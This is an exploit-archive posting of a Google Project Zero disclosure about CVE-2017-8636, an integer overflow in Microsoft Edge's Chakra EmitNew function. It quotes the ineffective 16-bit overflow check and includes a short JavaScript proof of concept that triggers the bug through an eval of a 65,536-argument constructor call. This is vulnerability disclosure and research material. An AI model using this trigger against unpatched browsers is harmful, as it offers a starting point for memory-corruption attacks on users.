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Microsoft Edge Chakra EmitNew Integer Overflow

Microsoft Edge Chakra EmitNew Integer Overflow
Posted Aug 17, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from an integer overflow vulnerability in EmitNew.

tags | exploit, overflow
advisories | CVE-2017-8636
MD5 | 8345cf786d59f19382f074d30d3d7a64

Microsoft Edge Chakra EmitNew Integer Overflow

Change Mirror Download
 Microsoft Edge: Chakra: Integer overflow in EmitNew 

CVE-2017-8636


The bytecode generator uses the "EmitNew" function to handle new operators.
Here's the code how the function checks for integer overflow.
void EmitNew(ParseNode* pnode, ByteCodeGenerator* byteCodeGenerator, FuncInfo* funcInfo)
{
Js::ArgSlot argCount = pnode->sxCall.argCount;
argCount++; // include "this"

BOOL fSideEffectArgs = FALSE;
unsigned int tmpCount = CountArguments(pnode->sxCall.pnodeArgs, &fSideEffectArgs);
Assert(argCount == tmpCount);

if (argCount != (Js::ArgSlot)argCount)
{
Js::Throw::OutOfMemory();
}
...
}

"Js::ArgSlot" is a 16 bit unsigned integer type. And "argCount" is of the type "Js::ArgSlot". So "if (argCount != (Js::ArgSlot)argCount)" has no point. It can't prevent the integer overflow at all.

PoC:
let args = new Array(0x10000);
args = args.fill(0x1234).join(', ');
eval('new Array(' + args + ')');


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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